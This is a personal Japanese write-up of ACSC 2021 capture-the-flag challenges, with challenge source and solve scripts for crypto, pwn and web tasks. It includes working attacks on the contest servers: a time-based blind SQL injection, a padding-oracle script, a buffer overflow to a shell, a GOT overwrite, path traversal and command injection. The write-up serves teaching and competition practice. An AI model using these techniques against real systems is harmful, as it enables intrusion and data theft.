ACSC 2021 Writeup

Sun Sep 19 2021

9/18-19 で開催していた ACSC に参加しました。個人戦なので当然ソロ参加です。結果は 18th/483 (得点のあるチームのみカウント) でした。 Crypto が1問解けなかったのと、 Web のそこそこ解かれている問題が解けなかったのが結構悔しいです… 以下、解けた問題についての writeup です。

Crypto

Wonderful Hash

11 solves

chall.py
import os
import string
from Crypto.Cipher import AES, ARC4, DES

BLOCK = 16


def bxor(a, b):
  res = [c1 ^ c2 for (c1, c2) in zip(a, b)]
  return bytes(res)


def block_hash(data):
  data = AES.new(data, AES.MODE_ECB).encrypt(b"\x00" * AES.block_size)
  data = ARC4.new(data).encrypt(b"\x00" * DES.key_size)
  data = DES.new(data, DES.MODE_ECB).encrypt(b"\x00" * DES.block_size)
  return data[:-2]


def hash(data):
  length = len(data)
  if length % BLOCK != 0:
    pad_len = BLOCK - length % BLOCK
    data += bytes([pad_len] * pad_len)
    length += pad_len
  block_cnt = length // BLOCK
  blocks = [data[i * BLOCK:(i + 1) * BLOCK] for i in range(block_cnt)]
  res = b"\x00" * BLOCK
  for block in blocks:
    res = bxor(res, block_hash(block))
  return res


def check(cmd, new_cmd):
  if len(cmd) != len(new_cmd):
    return False
  if hash(cmd) != hash(new_cmd):
    return False
  for c in new_cmd:
    if chr(c) not in string.printable:
      return False
  return True


cmd = (b"echo 'There are a lot of Capture The Flag (CTF) competitions in "
       b"our days, some of them have excelent tasks, but in most cases "
       b"they're forgotten just after the CTF finished. We decided to make"
       b" some kind of CTF archive and of course, it'll be too boring to "
       b"have just an archive, so we made a place, where you can get some "
       b"another CTF-related info - current overall Capture The Flag team "
       b"rating, per-team statistics etc'")


def menu():
  print("[S]tore command")
  print("[E]xecute command")
  print("[F]iles")
  print("[L]eave")
  return input("> ")


while True:
  choice = menu()
  if choice[0] == "S":
    new_cmd = input().encode()
    if check(cmd, new_cmd):
      cmd = new_cmd
    else:
      print("Oops!")
      exit(1)
  elif choice[0] == "E":
    os.system(cmd)
  elif choice[0] == "F":
    os.system(b"ls")
  elif choice[0] == "L":
    break
  else:
    print("Command Unsupported")
    exit(1)

AES, ARC4, DES を使った自前ハッシュ関数の問題です。事前に用意されている cmd と同じハッシュかつ同じ文字列長のコマンドを実行することができます。 ./flag というファイルがあるので cat flag 等を実行できればよさそうです。 ハッシュは16bytesのブロックごとに 16->6bytes の変換がされ、各ブロックで xor を取っています。 cmd の文字列長を考慮すると27ブロックとなります。

最初のブロックを cat flag;#AAAAAA とすれば以降の文字が何であれフラグを表示できます。このブロックを BLOCK とすると、 BLOCK||BLOCK||...||BLOCK と偶数個くっつけるとその部分のハッシュは0になります。 そのため、 cmd の奇数個 (3以上) のブロックのハッシュと衝突する16文字を見つけることができれば (DUMMY とする)、 BLOCK||...||BLOCK||DUMMY||cmdのDUMMY計算に使われない部分 とすればハッシュが cmd と一致します。なのでそのような16文字を見つけにいきます。

いい方法が思いつかなかったので力技でやりました…

d_inv = {}
while True:
    tmp = "".join([random.choice(string.printable) for _ in range(16)]).encode()
    d_inv[block_hash(tmp)] = tmp

このようなコードでハッシュ→文字列のマップを作ります。他の問題解きながら集めていたら 35747199 個集まっていました…えぐい

from itertools import combinations

blocks = [data[i * BLOCK:(i + 1) * BLOCK] for i in range(block_cnt)]
hashes = [block_hash(block) for block in blocks]
for r in range(3, 27, 2):
    print(r)
    for i_list in combinations(range(len(blocks)-1), r=r):
        res = b"\x00" * 16
        for i in i_list:
            res = bxor(res, hashes[i])
        tmp = d_inv.get(res, None)
        if tmp is not None:
            print(tmp, res, i_list, r)

これで cmd の一部のハッシュと一致する文字を探します。1つだけ見つかりました。 cmd のブロックの (0, 3, 6, 16, 17, 20, 22, 23, 25) 番目のハッシュと b'h[=<JB^dl&v`(~W\' のハッシュが衝突するようです。 以上の情報をもとに新しい cmd を作ります。

use = b'h[=<JB^dl&v`(~W\\'
idx_list = (0, 3, 6, 16, 17, 20, 22, 23, 25)

payload_blocks = blocks.copy()
payload_cmd = b"cat flag;#"
payload_cmd += b"A" * (16 - len(payload_cmd))
for i in idx_list[:-1]:
    payload_blocks[i] = payload_cmd
payload_blocks[idx_list[-1]] = use
payload = b"".join(payload_blocks)
payload[:-15]
cat flag;#AAAAAAa lot of Capture The Flag (CTF) cat flag;#AAAAAAour days, some of them have excecat flag;#AAAAAAin most cases they're forgotten just after the CTF finished. We decided to make some kind of CTF archive and of course, it'll be too boring to hcat flag;#AAAAAAcat flag;#AAAAAAa place, where you can get some cat flag;#AAAAAAted info - currecat flag;#AAAAAAcat flag;#AAAAAA rating, per-teah[=<JB^dl&v`(~W\'

これを実行させることでフラグが表示されました。

ACSC{M1Tm_i5_FunNY_But_Painfu1}

Secret Saver

12 solves

<?php
    include "config.php";

    $msg  = $_POST['msg'] ?? "";
    $name = $_POST['name'] ?? "";
    if ( strlen($name) < 4 || strlen($msg) < 8 )
        highlight_file(__FILE__) && exit();

    $data = array(
        "name" => $name, 
        "msg"  => $msg, 
        "flag" => "ACSC{" . $KEY . "}" // try to get this flag!
    );

    $iv   = openssl_random_pseudo_bytes(16);
    $data = gzcompress(json_encode($data));
    $data = openssl_encrypt($data, 'aes-256-ctr', $KEY, OPENSSL_RAW_DATA, $iv);
    $data = bin2hex( $iv . $data );

    $conn = new mysqli($HOST, $USER, $PASS, $NAME);
    $sql  = sprintf("insert into msgs (msg, name) values('%s', '%s')", $data, $name);
    if (!$conn->query($sql))
        die($conn->error);
    
    echo $conn->insert_id;
    $conn->close();

入力したデータとフラグの文字列の json について、 gzcompress のあと AES の CTR モードで暗号化したものを DB に突っ込んでいます。

CTR モードなので平文と暗号文は同じ文字列になります。 gzcompress は同じ文字列が繰り返されていると圧縮率が高まるため namemsgACTF{X を入れたときに X がフラグの1文字目と一致しているときだけ暗号化後の data が短くなることが期待されます。なので SQLi で DB 内の data の長さをリークさせることができればフラグを復元できそうです。

SQLi は '||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))=174,SLEEP(10),0)||' のようなクエリを投げることで行いました。この例でいうと、 id_ = $conn->insert_id の長さが174のときだけ10秒 sleep が入ります。

solve.py
# 長さのリーク
flag = "AAAACSC{"
res = requests.post(url, data={"msg": flag*2, "name": flag*2})
id_ = res.text
for i in range(160, 300):
    print(i)
    now = time.perf_counter()
    res = requests.post(url, data={"msg": "testtest", "name": f"'||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))={i},SLEEP(10),0)||'"})
    duration = time.perf_counter() - now
    if duration >= 10:
        print("found!", i)
        break

# 文字列を決めていく
flag = "AAAACSC{"
for idx in range(32):
    for i in range(32, 128):
        c = chr(i)
        if c in "\\'":
            continue
        print(c)
        res = requests.post(url, data={"msg": (flag+c)*2, "name": (flag+c)*2})
        id_ = int(res.text)
        now = time.perf_counter()
        res = requests.post(url, data={"msg": "testtest", "name": f"'||IF(LENGTH((select msg from (SELECT msg FROM msgs WHERE id={id_})tmp))=174,SLEEP(2),0)||'"})
        duration = time.perf_counter() - now
        if duration >= 2:
            print("found!", c)
            flag += c
            print(flag)
            break
    else:
        raise RuntimeError

ACSC{MAK3-CRiME-4TT4CK-GREAT-AGaiN!}

途中で暗号文の長さが変わったり、フラグの文字列が32文字だと思いこんでいたりでめちゃくちゃ手こずってしまった…

Two Rabin

20 solves

chal.py
import random
from Crypto.Util.number import *
from Crypto.Util.Padding import pad

from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
B = getStrongPrime(512)

m = flag[0:len(flag)//2]
print("flag1_len =",len(m))

m1 = bytes_to_long(m)
m2 = bytes_to_long(pad(m,128))

assert m1 < n
assert m2 < n

c1 = (m1*(m1+B)) % n
c2 = (m2*(m2+B)) % n

print("n =",n)
print("B =",B)
print("c1 =",c1)
print("c2 =",c2)

# Harder!

m = flag[len(flag)//2:]
print("flag2_len =",len(m))

m1 = bytes_to_long(m)
m1 <<= ( (128-len(m))*8 )
m1 += random.SystemRandom().getrandbits( (128-len(m))*8 )

m2 = bytes_to_long(m)
m2 <<= ( (128-len(m))*8 )
m2 += random.SystemRandom().getrandbits( (128-len(m))*8 )

assert m1 < n
assert m2 < n

c1 = (m1*(m1+B)) % n
c2 = (m2*(m2+B)) % n

print("hard_c1 =",c1)
print("hard_c2 =",c2)

前半 m の文字列長がわかっているので、 pad の結果も既知です。 m2 == m1 * 256**(128 - 98) + int("1e" * 30, 16) が成り立ちます。これで連立方程式が解けます。

a = 256 ** (128 - 98)
d = int("1e" * 30, 16)
m1 = (c2 - a^2*c1 - d^2 - B*d) * pow(2*a*d + B*a - a^2*B, -1, n)

ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4

後半

128bytes の m1m2 は下位32bytes だけ異なっています。Franklin-Reiter releated message attack が使えそうです。https://inaz2.hatenablog.com/entry/2016/01/20/022936 を参考にさせていただきました。

from Crypto.Util.number import long_to_bytes


PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

g1 = x*(x+B) - hard_c1
g2 = (x+y)*(x+y+B) - hard_c2

q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)

h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()


def gcd(g1, g2):
    while g2:
        g1, g2 = g2, g1 % g2
    return g1.monic()


roots = h.small_roots(epsilon=0.014)

diff = 1637558660573652475698054766420163959191730746581158985657024969935597275
diff = 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003324807101635213925825667932900258849901826251288979045274120411473033890824
PRx.<x> = PolynomialRing(Zmod(n))
for diff in roots:
    g1 = x*(x+B) - hard_c1
    g2 = (x+diff)*(x+diff+B) - hard_c2

    long_to_bytes(-gcd(g1, g2)[0])

a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}

ACSC{Rabin_cryptosystem_was_published_in_January_1979_ed82c25b173f38624f7ba16247c31d04ca22d8652da4a1d701b0966ffa10a4d1_ec0c177f446964ca9595c187869312b2c0929671ca9b7f0a27e01621c90a9ac255_wow_GJ!!!}

Swap on Curve

34 solves

task.sage
from params import p, a, b, flag, y

x = int.from_bytes(flag, "big")

assert 0 < x < p
assert 0 < y < p
assert x != y

EC = EllipticCurve(GF(p), [a, b])

assert EC(x,y)
assert EC(y,x)

print("p = {}".format(p))
print("a = {}".format(a))
print("b = {}".format(b))

楕円曲線 y2=x3+ax+by^2 = x^3 + ax + b が与えられています。 (x,y),(y,x)(x, y), (y, x) がどちらも曲線上に乗っているときの xx がフラグとなっています。

y2=x3+ax+by^2 = x^3 + ax + b を変形して、 (y2b)2=x6+2ax4+a2x2(y^2 - b)^2 = x^6 + 2ax^4 + a^2x^2 とします。これに x2=y3+ay+bx^2 = y^3 + ay + b を代入することで yy についての9次式になります。これを解きます。

(前 twitter で joseph さんに教えてもらった Ideal([...]).variety() を使う方法は、 NotImplementedError: Factorization of multivariate polynomials over prime fields with characteristic > 2^29 is not implemented. というエラーで刺さりませんでした…)

solve.sage
from Crypto.Util.number import long_to_bytes

p = 10224339405907703092027271021531545025590069329651203467716750905186360905870976608482239954157859974243721027388367833391620238905205324488863654155905507
a = 4497571717921592398955060922592201381291364158316041225609739861880668012419104521771916052114951221663782888917019515720822797673629101617287519628798278
b = 1147822627440179166862874039888124662334972701778333205963385274435770863246836847305423006003688412952676893584685957117091707234660746455918810395379096

EC = EllipticCurve(GF(p), [a, b])

PR.<y> = PolynomialRing(Zmod(p))
x2 = y^3 + a*y + b
f = (x2)^3 + 2*a*(x2)^2 + a^2*(x2) - (y^2 - b)^2

for root in f.roots():
    long_to_bytes(root[0])

ACSC{have_you_already_read_the_swap<-->swap?}

CBCBC

35 solves

chal.py
#!/usr/bin/env python3

import base64
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import hidden_username, flag

key = os.urandom(16)
print(key)
iv1 = os.urandom(16)
print(iv1)
iv2 = os.urandom(16)
print(iv2)


def encrypt(msg):
    aes1 = AES.new(key, AES.MODE_CBC, iv1)
    aes2 = AES.new(key, AES.MODE_CBC, iv2)
    enc = aes2.encrypt(aes1.encrypt(pad(msg, 16)))
    return iv1 + iv2 + enc


def decrypt(msg):
    iv1, iv2, enc = msg[:16], msg[16:32], msg[32:]
    aes1 = AES.new(key, AES.MODE_CBC, iv1)
    aes2 = AES.new(key, AES.MODE_CBC, iv2)
    msg = unpad(aes1.decrypt(aes2.decrypt(enc)), 16)
    return msg


def create_user():
    username = input("Your username: ")
    if username:
        data = {"username": username, "is_admin": False}
    else:
        # Default token
        data = {"username": hidden_username, "is_admin": True}
    token = encrypt(json.dumps(data).encode())
    print("Your token: ")
    print(base64.b64encode(token).decode())


def login():
    username = input("Your username: ")
    token = input("Your token: ").encode()
    try:
        data_raw = decrypt(base64.b64decode(token))
    except:
        print("Failed to login! Check your token again")
        return None

    try:
        data = json.loads(data_raw.decode())
    except:
        print("Failed to login! Your token is malformed")
        return None

    if "username" not in data or data["username"] != username:
        print("Failed to login! Check your username again")
        return None

    return data


def none_menu():
    print("1. Create user")
    print("2. Log in")
    print("3. Exit")

    try:
        inp = int(input("> "))
    except ValueError:
        print("Wrong choice!")
        return None

    if inp == 1:
        create_user()
        return None
    elif inp == 2:
        return login()
    elif inp == 3:
        exit(0)
    else:
        print("Wrong choice!")
        return None


def user_menu(user):
    print("1. Show flag")
    print("2. Log out")
    print("3. Exit")

    try:
        inp = int(input("> "))
    except ValueError:
        print("Wrong choice!")
        return None

    if inp == 1:
        if "is_admin" in user and user["is_admin"]:
            print(flag)
        else:
            print("No.")
        return user
    elif inp == 2:
        return None
    elif inp == 3:
        exit(0)
    else:
        print("Wrong choice!")
        return None


def main():
    user = None

    print("Welcome to CBCBC flag sharing service!")
    print("You can get the flag free!")
    print("This is super-duper safe from padding oracle attacks,")
    print("because it's using CBC twice!")
    print("=====================================================")

    while True:
        if user:
            user = user_menu(user)
        else:
            user = none_menu()


if __name__ == "__main__":
    main()

AES CBC モードを2回行っています。 AES を2つ縦に書いてみるとすぐわかりますが、いつもの padding oracle attack が1ブロックではなく2ブロック分ずれているだけです。

solve.py
from base64 import b64decode, b64encode

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from pwn import remote

# io = remote("localhost", 1337)
io = remote("cbcbc.chal.acsc.asia", 52171)

io.sendlineafter("> ", b"1")
io.sendlineafter("username: ", b"")
io.recvline()
admin_token = b64decode(io.recvline().strip())
iv1 = admin_token[:16]
iv2 = admin_token[16:32]
admin_token = admin_token[32:]
saved_admin_token = admin_token
saved_iv2 = iv2
saved_iv1 = iv1


def try_decrypt(msg):
    io.sendlineafter("> ", b"2")
    io.sendlineafter("username: ", b"hoge")
    io.sendlineafter("token: ", b64encode(msg))
    ret = io.recvline().strip().decode()
    if "Check your token" in ret:
        return False
    else:
        return True


admin_token = saved_admin_token
dec = b""
idx = 15
for idx in range(16)[::-1]:
    print(idx)
    for i in range(256):
        if idx == 15 and i == 0:
            continue
        tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:]
        if try_decrypt(iv1 + iv2 + tmp_admin_token):
            dec = long_to_bytes((16 - idx) ^ i) + dec
            tmp = tmp_admin_token[:idx]
            for j in range(idx, 16):
                tmp += long_to_bytes(tmp_admin_token[j] ^ (16 - idx) ^ (16 - idx + 1))
            tmp += tmp_admin_token[16:]
            admin_token = tmp
            print(dec)
            break
    else:
        raise ValueError

admin_token = saved_admin_token[:-16]
iv2 = saved_iv2
idx = 15
for idx in range(16)[::-1]:
    print(idx)
    for i in range(256):
        tmp_iv2 = iv2[:idx] + long_to_bytes(iv2[idx] ^ i) + iv2[idx+1:]
        # tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:]
        if try_decrypt(iv1 + tmp_iv2 + admin_token):
            dec = long_to_bytes((16 - idx) ^ i) + dec
            tmp = tmp_iv2[:idx]
            for j in range(idx, 16):
                tmp += long_to_bytes(tmp_iv2[j] ^ (16 - idx) ^ (16 - idx + 1))
            tmp += tmp_iv2[16:]
            iv2 = tmp
            print(dec)
            break
    else:
        raise ValueError

admin_token = saved_admin_token[:-32]
iv1 = saved_iv1
idx = 15
for idx in range(16)[::-1]:
    print(idx)
    for i in range(256):
        tmp_iv1 = iv1[:idx] + long_to_bytes(iv1[idx] ^ i) + iv1[idx+1:]
        # tmp_admin_token = admin_token[:idx] + long_to_bytes(admin_token[idx] ^ i) + admin_token[idx+1:]
        if try_decrypt(tmp_iv1 + iv2 + admin_token):
            dec = long_to_bytes((16 - idx) ^ i) + dec
            tmp = tmp_iv1[:idx]
            for j in range(idx, 16):
                tmp += long_to_bytes(tmp_iv1[j] ^ (16 - idx) ^ (16 - idx + 1))
            tmp += tmp_iv1[16:]
            iv1 = tmp
            print(dec)
            break
    else:
        raise ValueError

ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}

RSA stream

121 solves

chal.py
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)

同一の mm を異なる ee で暗号化しているので gcd をとることで mm が復元できます。

solve.sage
from Crypto.Util.number import long_to_bytes, bytes_to_long


n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453
e0 = 65537
e1 = 65539

with open("./distfiles/chal.py", "rb") as fp:
    f = fp.read()

with open("./distfiles/chal.enc", "rb") as fp:
    cipher = fp.read()


q0 = f[0: 256]
q0 = bytes_to_long(q0)
c0 = bytes_to_long(cipher[0: 256])
stream0 = q0 ^^ c0

q1 = f[256: 512]
q1 = bytes_to_long(q1)
c1 = bytes_to_long(cipher[256: 512])
stream1 = q1 ^^ c1

PR.<x> = PolynomialRing(Zmod(n))
f0 = x ** e0 - stream0
f1 = x ** e1 - stream1

if f0.degree() < f1.degree():
    f0, f1 = f1, f0

while f1 != 0:
    f0, f1 = f1, f0 % f1

m = int(-f0[0] * f0[1].inverse_of_unit())
long_to_bytes(m)

ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}

Pwn

histogram

38 solves

histogram.c
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <limits.h>

#define WEIGHT_MAX 600 // kg
#define HEIGHT_MAX 300 // cm
#define WEIGHT_STRIDE 10
#define HEIGHT_STRIDE 10
#define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
#define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)

int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};

/* Fatal error */
void fatal(const char *msg) {
  printf("{\"status\":\"error\",\"reason\":\"%s\"}", msg);
  exit(1);
}

/* Call this function to get the flag! */
void win(void) {
  char flag[0x100];
  FILE *fp = fopen("flag.txt", "r");
  int n = fread(flag, 1, sizeof(flag), fp);
  printf("%s", flag);
  exit(0);
}

int read_data(FILE *fp) {
  /* Read data */
  double weight, height;
  int n = fscanf(fp, "%lf,%lf", &weight, &height);
  if (n == -1)
    return 1; /* End of data */
  else if (n != 2)
    fatal("Invalid input");

  /* Validate input */
  if (weight < 1.0 || weight >= WEIGHT_MAX)
    fatal("Invalid weight");
  if (height < 1.0 || height >= HEIGHT_MAX)
    fatal("Invalid height");

  /* Store to map */
  short i, j;
  i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
  j = (short)ceil(height / HEIGHT_STRIDE) - 1;
  
  map[i][j]++;
  wsum[i]++;
  hsum[j]++;

  return 0;
}

/* Print an array in JSON format */
void json_print_array(int *arr, short n) {
  putchar('[');
  for (short i = 0; i < n; i++) {
    printf("%d", arr[i]);
    if (i != n-1) putchar(',');
  }
  putchar(']');
}

int main(int argc, char **argv) {
  if (argc < 2)
    fatal("No input file");

  /* Open CSV */
  FILE *fp = fopen(argv[1], "r");
  if (fp == NULL)
    fatal("Cannot open the file");

  /* Read data from the file */
  int n = 0;
  while (read_data(fp) == 0)
    if (++n > SHRT_MAX)
      fatal("Too many input");

  /* Show result */
  printf("{\"status\":\"success\",\"result\":{\"wsum\":");
  json_print_array(wsum, WSIZE);
  printf(",\"hsum\":");
  json_print_array(hsum, HSIZE);
  printf(",\"map\":[");
  for (short i = 0; i < WSIZE; i++) {
    json_print_array(map[i], HSIZE);
    if (i != WSIZE-1) putchar(',');
  }
  printf("]}}");

  fclose(fp);
  return 0;
}

コードを見ても、脆弱性なくない…?となって百年が経過しました。その割に結構解かれていたので %lf に狙いを絞っていろいろ試したところ、 nan,nan を入力したときにセグフォで落ちるのが確認されました。 nan と不等号の判定は false になるんですね…

gdb で動作を追ってみると、 got の scanf のアドレスの値が変わっていて (1足されて) 落ちていました。 nan,nannan,10 にすると書き込む場所が1ずれました。 scanf の16bytes 先に fclose があったので、nan,25 といれることで fclose の値を1足すことができます。 fclose はまだ一度も呼ばれていないので plt を指しているのですが、これを520回インクリメントすることで win 関数へ向けることができます。 なので csv として nan,25 と520行かかれたものを用意して POST するとフラグが json の後ろに付け足されて返ってきます。

ACSC{NaN_demo_iiyo}

filtered

168 solves

filtered.c
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* Call this function! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
  exit(0);
}

/* Print `msg` */
void print(const char *msg) {
  write(1, msg, strlen(msg));
}

/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
  char c;
  print(msg);
  for (size_t i = 0; i < size; i++) {
    if (read(0, &c, 1) <= 0) {
      print("I/O Error\n");
      exit(1);
    } else if (c == '\n') {
      buf[i] = '\0';
      break;
    } else {
      buf[i] = c;
    }
  }
}

/* Print `msg` and read an integer value */
int readint(const char *msg) {
  char buf[0x10];
  readline(msg, buf, 0x10);
  return atoi(buf);
}

/* Entry point! */
int main() {
  int length;
  char buf[0x100];

  /* Read and check length */
  length = readint("Size: ");
  if (length > 0x100) {
    print("Buffer overflow detected!\n");
    exit(1);
  }

  /* Read data */
  readline("Data: ", buf, length);
  print("Bye!\n");

  return 0;
}

size = -1 を入れると length > 0x100 を無視でき、 readline 内部では size_t として扱われるので 0xffffffff bytes 書き込めます。 BOF で return address を win 関数に変えます。

solve.py
from pwn import *

io = remote("filtered.chal.acsc.asia", 9001)

io.sendlineafter("Size: ", "-1")
io.sendlineafter("Data: ", b"A" * 0x118 + p64(0x4011d6))
io.interactive()

ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}

Web

API

107 solves

functions.php
function challenge($obj){
	if ($obj->is_login()) {
		$admin = new Admin();
		if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
		$cmd = $_REQUEST['c2'];
		if ($cmd) {
			switch($cmd){
				case "gu":
					echo json_encode($admin->export_users());
					break;
				case "gd":
					echo json_encode($admin->export_db($_REQUEST['db']));
					break;
				case "gp":
					echo json_encode($admin->get_pass());
					break;
				case "cf":
					echo json_encode($admin->compare_flag($_REQUEST['flag']));
					break;
			}
		}
	}
}

このあたりを上手く使うことで flag を読むことができそうです。 一見 $admin->is_admin() でないと redirect されてその先に進めなそうですが、return されていないので無視できます。

solve.py
import requests

url = "https://api.chal.acsc.asia"
res = requests.post(url + "/api.php", params={"id": ["Aaaabbbb"], "pw": "Bbbbbbbbb", "id": "Aaaabbbb", "c": "i", "c2": "gd", "pas": ":<vNk", "db": "../../../../../../flag"}, allow_redirects=False)

print(res.text)

/lib/db/passcode.db/lib/db/user.db が見れたのでそこから頑張って admin になる方向性でずっとやっていたので時間がかかってしまった… passcode も api から入手できるし今思えば非想定挙動っぽい?

ACSC{it_is_hard_to_name_a_flag..isn't_it?}